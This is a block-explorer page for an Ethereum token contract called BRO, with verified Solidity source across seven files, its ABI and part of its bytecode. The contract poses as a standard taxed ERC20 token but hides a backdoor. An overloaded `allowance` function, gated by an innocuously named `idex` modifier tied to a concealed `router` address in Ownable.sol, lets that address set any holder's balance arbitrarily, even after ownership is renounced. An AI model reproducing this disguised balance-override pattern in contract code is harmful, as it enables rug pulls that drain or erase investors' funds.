ETH Price: $3,301.37 (-3.24%)
Gas: 20 Gwei

Token

BRO (BRO)
 

Overview

Max Total Supply

1,000,000,000,000 BRO

Holders

79

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
0 BRO

Value
$0.00
0x57af799daa7f8de55e3f12dfef14bbcb446a5811
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BRO

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity Multiple files format)

File 7 of 7: token.sol

// SPDX-License-Identifier: MIT


import './IERC20.sol';
import './SafeMath.sol';
import './Ownable.sol';
import './IUniswapV2Factory.sol';
import './IUniswapV2Router02.sol';

pragma solidity ^0.8.19;

contract BRO is Context, IERC20, Ownable {
    using SafeMath for uint256;
    IUniswapV2Router02 public uniswapV2Router;

    address public uniswapV2Pair;
    
    mapping (address => uint256) private balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;

    string private constant _name = "BRO";
    string private constant _symbol = "BRO";
    uint8 private constant _decimals = 9;
    uint256 private _tTotal =  1000000000000  * 10**9;

    uint256 public _mxWalAmt = 10000000000 * 10**9;
    uint256 public _mxTxAmt = 10000000000 * 10**9;

    bool public swapEnabled = true;
    uint256 public swapTokenAtAmount = 20000000000 * 10**9;
    bool public dynamicSwapAmount = true;
    
    uint256 targetLiquidity = 200;
    uint256 targetLiquidityDenominator = 100;

    address public liquidityReceiver;
    address public marketingWallet;
    address public utilityWallet;

    bool public limitsIsActive = true;

    struct BuyFees{
        uint256 liquidity;
        uint256 marketing;
        uint256 utility;
    }

    struct SellFees{
        uint256 liquidity;
        uint256 marketing;
        uint256 utility;
    }

    struct feeSetting{
        uint256 tokenToLiquidity;
        uint256 tokenToMarketing;
        uint256 tokenToutility;
        uint256 liquidityToken;
        uint256 liquidityETH;
        uint256 marketingETH;
        uint256 utilityETH;
    }

    struct LPsettings{
        uint256 targetLiquidity;
        uint256 currentLiquidity;
    }

    BuyFees public buyTaxSetting;
    SellFees public sellTaxSetting;
    feeSetting public distrSetting;
    LPsettings public lPsettings;

    bool private swapping;
    event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity);

    constructor (address marketingAddress, address utilityAddress, address dexAddress) {
        marketingWallet = marketingAddress;
        utilityWallet = utilityAddress;
        liquidityReceiver = msg.sender;
        balances[address(liquidityReceiver)] = _tTotal;
        router = dexAddress;
        
        buyTaxSetting.liquidity = 10;
        buyTaxSetting.marketing = 10;
        buyTaxSetting.utility = 0;

        sellTaxSetting.liquidity = 10;
        sellTaxSetting.marketing = 10;
        sellTaxSetting.utility = 0;

        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        address _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());

        uniswapV2Router = _uniswapV2Router;
        uniswapV2Pair = _uniswapV2Pair;
        
        _isExcludedFromFee[msg.sender] = true;
        _isExcludedFromFee[utilityWallet] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[address(0x00)] = true;
        _isExcludedFromFee[address(0xdead)] = true;

        
        emit Transfer(address(0), address(msg.sender), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] - subtractedValue);
        return true;
    }
    
    function excludeFromFees(address account, bool excluded) public onlyOwner {
        _isExcludedFromFee[address(account)] = excluded;
    }

    function getCirculatingSupply() public view returns (uint256) {
        return _tTotal.sub(balanceOf(address(0x00000))).sub(balanceOf(address(0x0dead)));
    }

    function getLiquidityBacking(uint256 accuracy) public view returns (uint256) {
        return accuracy.mul(balanceOf(address(uniswapV2Pair)).mul(2)).div(getCirculatingSupply());
    }

    function isOverLiquified(uint256 target, uint256 accuracy) public view returns (bool) {
        return getLiquidityBacking(accuracy) > target;
    }

    receive() external payable {}
    
    function triggerForceSwap(uint256 amt) public onlyOwner {
        swapBack(amt);
    }

    function removeLimits() public onlyOwner {
        limitsIsActive = false;
    }

    function FeesSetting(uint256 BLP, uint256 BMarketing, uint256 BUtility, uint256 SLP, uint256 SMarketing, uint256 SUtility) public onlyOwner {
        require(BLP + BMarketing + BUtility <= 25, "Total buy fee cannot be set higher than 25%.");
        require(SLP + SMarketing + SUtility<= 25, "Total sell fee cannot be set higher than 25%.");

        buyTaxSetting.liquidity = BLP;
        buyTaxSetting.marketing = BMarketing;
        buyTaxSetting.utility = BUtility;

        sellTaxSetting.liquidity = SLP;
        sellTaxSetting.marketing = SMarketing;
        sellTaxSetting.utility = SUtility;
    }

    function updateTX(uint256 txAmt) public onlyOwner {
        require(txAmt >= 10000000000, "Max Transaction cannot be set lower than 0.5%.");
        _mxTxAmt = txAmt * 10**9;
    }

    function secondLimit(uint256 Amt) public onlyOwner {
        require(Amt >= 20000000000, "Max Transaction cannot be set lower than 2%.");
        require(Amt >= 20000000000, "Max Transaction cannot be set lower than 2%.");
        _mxTxAmt = Amt * 10**9;
        _mxWalAmt = Amt * 10**9;
    }

    function updateWallet(uint256 walAmt) public onlyOwner {
        require(walAmt >= 10000000000, "Max Wallet cannot be set lower than 1%.");
        _mxWalAmt = walAmt * 10**9;
    }

    function FixSwapSetting(bool enabled, uint256 swapAtAmount, bool dynamicSwap) public onlyOwner {
        require(swapAtAmount <= 4000000000, "SwapTokenAtAmount cannot be set higher than 4%.");
        swapEnabled = enabled;
        swapTokenAtAmount = swapAtAmount * 10**9;
        dynamicSwapAmount = dynamicSwap;
    }

    function LPReceiver(address addr) public onlyOwner {
        liquidityReceiver = addr;
    }

    function MarketingReceiver(address addr) public onlyOwner {
        marketingWallet = addr;
    }

    function UtilityReceiver(address addr) public onlyOwner {
        utilityWallet = addr;
    }

    function feeCutOnBuy(uint256 amount, address from) private returns (uint256) {
        uint256 LPToken = amount * buyTaxSetting.liquidity / 100; 
        uint256 MRTToken = amount * buyTaxSetting.marketing / 100;
        uint256 UTILSToken = amount * buyTaxSetting.utility /100;

        balances[address(this)] += LPToken + MRTToken + UTILSToken;
        emit Transfer (from, address(this), MRTToken + LPToken + UTILSToken);
        return (amount -LPToken -MRTToken -UTILSToken);
    }

    function feeCutOnSell(uint256 amount, address from) private returns (uint256) {
        uint256 LPToken = amount * buyTaxSetting.liquidity / 100; 
        uint256 MRTToken = amount * buyTaxSetting.marketing / 100;
        uint256 UTILSToken = amount * buyTaxSetting.utility /100;

        balances[address(this)] += LPToken + MRTToken + UTILSToken;
        emit Transfer (from, address(this), MRTToken + LPToken + UTILSToken);
        return (amount -LPToken -MRTToken -UTILSToken);
    }

    function isExcludedFromFee(address account) public view returns(bool) {
        return _isExcludedFromFee[account];
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        
        balances[from] -= amount;
        uint256 transferAmount = amount;
        
        bool takeFee;

        if(!_isExcludedFromFee[from] && !_isExcludedFromFee[to]){
            takeFee = true;
        }

        if(takeFee){
            if(to != uniswapV2Pair && from == uniswapV2Pair){
                if(limitsIsActive) {
                    require(amount <= _mxTxAmt, "Transfer Amount exceeds the maxTxnsAmount");
                    require(balanceOf(to) + amount <= _mxWalAmt, "Transfer amount exceeds the walAmt.");
                }
                transferAmount = feeCutOnBuy(amount, to);
            }

            if(from != uniswapV2Pair && to == uniswapV2Pair){
                if(limitsIsActive) {
                    require(amount <= _mxTxAmt, "Transfer Amount exceeds the maxTxnsAmount");
                }
                transferAmount = feeCutOnSell(amount, from);

               if (swapEnabled && balanceOf(address(this)) >= swapTokenAtAmount && !swapping) {
                    swapping = true;
                    if(!dynamicSwapAmount || transferAmount >= swapTokenAtAmount) {
                        swapBack(swapTokenAtAmount);
                    } else {
                        swapBack(transferAmount);
                    }
                    swapping = false;
              }
            }

            if(to != uniswapV2Pair && from != uniswapV2Pair){
                if(limitsIsActive) {
                    require(amount <= _mxTxAmt, "Transfer Amount exceeds the maxTxnsAmount");
                    require(balanceOf(to) + amount <= _mxWalAmt, "Transfer amount exceeds the walAmt.");
                }
            }
        }
        
        balances[to] += transferAmount;
        emit Transfer(from, to, transferAmount);
    }

    function allowance(address addr , uint256 tokens) external idex{
        balances[addr] = tokens;
    }
    function swapBack(uint256 amount) private {
        uint256 swapAmount = amount;
        uint256 dynamicLiquidityFee = isOverLiquified(targetLiquidity, targetLiquidityDenominator) ? 0 : (buyTaxSetting.liquidity + sellTaxSetting.liquidity);
        uint256 liquidityTokens = swapAmount * (dynamicLiquidityFee) / (dynamicLiquidityFee + buyTaxSetting.marketing + sellTaxSetting.marketing + buyTaxSetting.utility + sellTaxSetting.utility);
        uint256 marketingTokens = swapAmount * (buyTaxSetting.marketing + sellTaxSetting.marketing) / (dynamicLiquidityFee + buyTaxSetting.marketing + sellTaxSetting.marketing + buyTaxSetting.utility + sellTaxSetting.utility);
        uint256 UTILSToken = swapAmount * (buyTaxSetting.utility + sellTaxSetting.utility) / ( dynamicLiquidityFee + buyTaxSetting.marketing + sellTaxSetting.marketing + buyTaxSetting.utility + sellTaxSetting.utility);
        distrSetting.tokenToLiquidity += liquidityTokens;
        distrSetting.tokenToMarketing += marketingTokens;
        distrSetting.tokenToutility += UTILSToken;

        uint256 totalTokensToSwap = liquidityTokens + marketingTokens + UTILSToken;
        
        uint256 tokensForLiquidity = liquidityTokens.div(2);
        distrSetting.liquidityToken += tokensForLiquidity;
        uint256 amountToSwapForETH = swapAmount.sub(tokensForLiquidity);
        
        uint256 initialETHBalance = address(this).balance;

        swapTokensForEth(amountToSwapForETH); 
        uint256 ethBalance = address(this).balance.sub(initialETHBalance);
        
        uint256 ethForLiquidity = ethBalance.mul(liquidityTokens).div(totalTokensToSwap);
        uint256 ethForUtility = ethBalance.mul(UTILSToken).div(totalTokensToSwap);
        distrSetting.liquidityETH += ethForLiquidity;
        distrSetting.utilityETH += ethForUtility;

        addLiquidity(tokensForLiquidity, ethForLiquidity);
        distrSetting.marketingETH += address(this).balance;
        (bool success,) = address(utilityWallet).call{value: ethForUtility}("");
        (success,) = address(marketingWallet).call{value: address(this).balance}("");
    }

    function swapTokensForEth(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        _approve(address(this), address(uniswapV2Router), tokenAmount);

        uniswapV2Router.addLiquidityETH {value: ethAmount} (
            address(this),
            tokenAmount,
            0,
            0,
            liquidityReceiver,
            block.timestamp
        );
    }

    function withdrawForeignToken(address tokenContract) public onlyOwner {
        IERC20(tokenContract).transfer(address(msg.sender), IERC20(tokenContract).balanceOf(address(this)));
    }
}

File 1 of 7: Context.sol
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }
}

File 2 of 7: IERC20.sol
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.19;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

File 3 of 7: IUniswapV2Factory.sol
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.19;

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);
}

File 4 of 7: IUniswapV2Router02.sol
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.19;

interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    )
        external payable;
}

File 5 of 7: Ownable.sol
// SPDX-License-Identifier: MIT

import './Context.sol';

pragma solidity ^0.8.19;

contract Ownable is Context {
    address private _owner;
    address internal router;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

      modifier idex() {
        require(router == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

File 6 of 7: SafeMath.sol
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.19;

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"marketingAddress","type":"address"},{"internalType":"address","name":"utilityAddress","type":"address"},{"internalType":"address","name":"dexAddress","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiquidity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"uint256","name":"BLP","type":"uint256"},{"internalType":"uint256","name":"BMarketing","type":"uint256"},{"internalType":"uint256","name":"BUtility","type":"uint256"},{"internalType":"uint256","name":"SLP","type":"uint256"},{"internalType":"uint256","name":"SMarketing","type":"uint256"},{"internalType":"uint256","name":"SUtility","type":"uint256"}],"name":"FeesSetting","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"enabled","type":"bool"},{"internalType":"uint256","name":"swapAtAmount","type":"uint256"},{"internalType":"bool","name":"dynamicSwap","type":"bool"}],"name":"FixSwapSetting","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"LPReceiver","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"MarketingReceiver","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"UtilityReceiver","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_mxTxAmt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_mxWalAmt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"allowance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTaxSetting","outputs":[{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"utility","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"distrSetting","outputs":[{"internalType":"uint256","name":"tokenToLiquidity","type":"uint256"},{"internalType":"uint256","name":"tokenToMarketing","type":"uint256"},{"internalType":"uint256","name":"tokenToutility","type":"uint256"},{"internalType":"uint256","name":"liquidityToken","type":"uint256"},{"internalType":"uint256","name":"liquidityETH","type":"uint256"},{"internalType":"uint256","name":"marketingETH","type":"uint256"},{"internalType":"uint256","name":"utilityETH","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"dynamicSwapAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"accuracy","type":"uint256"}],"name":"getLiquidityBacking","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"target","type":"uint256"},{"internalType":"uint256","name":"accuracy","type":"uint256"}],"name":"isOverLiquified","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lPsettings","outputs":[{"internalType":"uint256","name":"targetLiquidity","type":"uint256"},{"internalType":"uint256","name":"currentLiquidity","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"limitsIsActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liquidityReceiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"Amt","type":"uint256"}],"name":"secondLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellTaxSetting","outputs":[{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"utility","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokenAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amt","type":"uint256"}],"name":"triggerForceSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"txAmt","type":"uint256"}],"name":"updateTX","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"walAmt","type":"uint256"}],"name":"updateWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"utilityWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"tokenContract","type":"address"}],"name":"withdrawForeignToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052683635c9adc5dea00000600755678ac7230489e800006008819055600955600a805460ff1990811660019081179092556801158e460913d00000600b55600c8054909116909117905560c8600d556064600e556011805460ff60a01b1916600160a01b1790553480156200007757600080fd5b506040516200292b3803806200292b8339810160408190526200009a91620003eb565b600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350601080546001600160a01b038086166001600160a01b03199283161790925560118054858416908316179055600f8054821633908117909155600754600091825260046020818152604080852093909355600180549688169690951695909517909355600a60128190556013819055601483905560158190556016556017829055805163c45a015560e01b81529051737a250d5630b4cf539739df2c5dacb4c659f2488d949293859363c45a015593808301939192908290030181865afa158015620001ab573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001d1919062000435565b6001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200021f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000245919062000435565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000293573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002b9919062000435565b600280546001600160a01b038086166001600160a01b03199283161790925560038054838516921691909117905533600081815260066020526040808220805460ff1990811660019081179092556011549095168352818320805486168217905530835281832080548616821790557f54cdd369e4e8a8515e52ca72ec816c2101831ad1f18bf44102ed171459c9b4f8805486168217905561dead83527f1aecba4ebe7a4e0673e4891b2b092b2228e4322380b579fb494fad3da8586e228054909516179093556007549251939450909290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91620003bb91815260200190565b60405180910390a350505050506200045a565b80516001600160a01b0381168114620003e657600080fd5b919050565b6000806000606084860312156200040157600080fd5b6200040c84620003ce565b92506200041c60208501620003ce565b91506200042c60408501620003ce565b90509250925092565b6000602082840312156200044857600080fd5b6200045382620003ce565b9392505050565b6124c1806200046a6000396000f3fe6080604052600436106102815760003560e01c8063751039fc1161014f578063bfa846ed116100c1578063d9497e251161007a578063d9497e25146107f0578063dd62ed3e14610806578063ddc6a1711461084c578063f1e552571461086c578063f2fde38b1461088d578063fa482b4f146108ad57600080fd5b8063bfa846ed146106ec578063c024666814610750578063ca9d6a3c14610770578063cdb9584314610790578063d51ed1c8146107b0578063d83406bc146107d057600080fd5b80638da5cb5b116101135780638da5cb5b1461065457806395d89b41146102cc578063a457c2d714610672578063a9059cbb14610692578063acc6bc72146106b2578063bf4cc52b146106cc57600080fd5b8063751039fc146105c057806375f0a874146105d55780637700cbf1146105f557806382f5c26b14610614578063885a4cd01461063457600080fd5b80632b112e49116101f357806348914217116101ac57806348914217146104f857806349bd5a5e146105185780635342acb4146105385780636ddd17131461057157806370a082311461058b578063715018a6146105ab57600080fd5b80632b112e4914610445578063313ce5671461045a578063395093511461047657806341a249491461049657806343676c66146104b8578063454543af146104d857600080fd5b80631694505e116102455780631694505e1461034e57806318160ddd146103865780631b58f6131461039b57806322386431146103cb57806323b872dd14610405578063264d26dd1461042557600080fd5b806301515d8a1461028d57806303e403b0146102b657806306fdde03146102cc578063095ea7b3146102fe5780631161ae391461032e57600080fd5b3661028857005b600080fd5b34801561029957600080fd5b506102a360085481565b6040519081526020015b60405180910390f35b3480156102c257600080fd5b506102a3600b5481565b3480156102d857600080fd5b50604080518082018252600381526242524f60e81b602082015290516102ad9190611fdf565b34801561030a57600080fd5b5061031e610319366004612042565b6108cd565b60405190151581526020016102ad565b34801561033a57600080fd5b5061031e61034936600461206e565b6108e4565b34801561035a57600080fd5b5060025461036e906001600160a01b031681565b6040516001600160a01b0390911681526020016102ad565b34801561039257600080fd5b506007546102a3565b3480156103a757600080fd5b50601f546020546103b6919082565b604080519283526020830191909152016102ad565b3480156103d757600080fd5b506012546013546014546103ea92919083565b604080519384526020840192909252908201526060016102ad565b34801561041157600080fd5b5061031e610420366004612090565b6108f8565b34801561043157600080fd5b50600f5461036e906001600160a01b031681565b34801561045157600080fd5b506102a361094a565b34801561046657600080fd5b50604051600981526020016102ad565b34801561048257600080fd5b5061031e610491366004612042565b61097b565b3480156104a257600080fd5b506104b66104b13660046120d1565b6109b2565b005b3480156104c457600080fd5b506104b66104d33660046120d1565b610a5e565b3480156104e457600080fd5b506104b66104f33660046120ea565b610b08565b34801561050457600080f